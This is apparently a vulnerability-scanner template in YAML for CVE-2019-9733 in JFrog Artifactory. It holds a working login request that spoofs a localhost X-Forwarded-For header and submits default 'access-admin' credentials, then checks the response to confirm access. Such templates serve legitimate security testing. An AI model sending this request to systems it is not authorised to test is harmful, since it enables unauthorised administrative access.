CVE-2019-9733.yaml

id:  CVE-2019-9733

info:
  name:  Artifactory Improper Authorization
  author: medbsq
  severity: criticall 

requests:
  - method: POST
    path:
      - "{{BaseURL}}/artifactory/ui/auth/login?_spring_security_remember_me=false"
    headers:
      User-Agent:  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
      X-Requested-With: artUI
      serial: 58
      X-Forwarded-For: 127.0.0.1
      Request-Agent: artifactoryUI
      Content-Type: application/json
      Origin: http://{{Hostname}}
      Referer: http://{{Hostname}}/artifactory/webapp/
      Accept-Encoding: gzip, deflate
      Accept-Language: en-US,en;q=0.9
      Connection: close
    body: "{\"user\":\"access-admin\",\"password\":\"password\",\"type\":\"login\"}"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "username"
          - "access-admin"
        condition: and
        part: body
      - type: status
        status: 
          - 200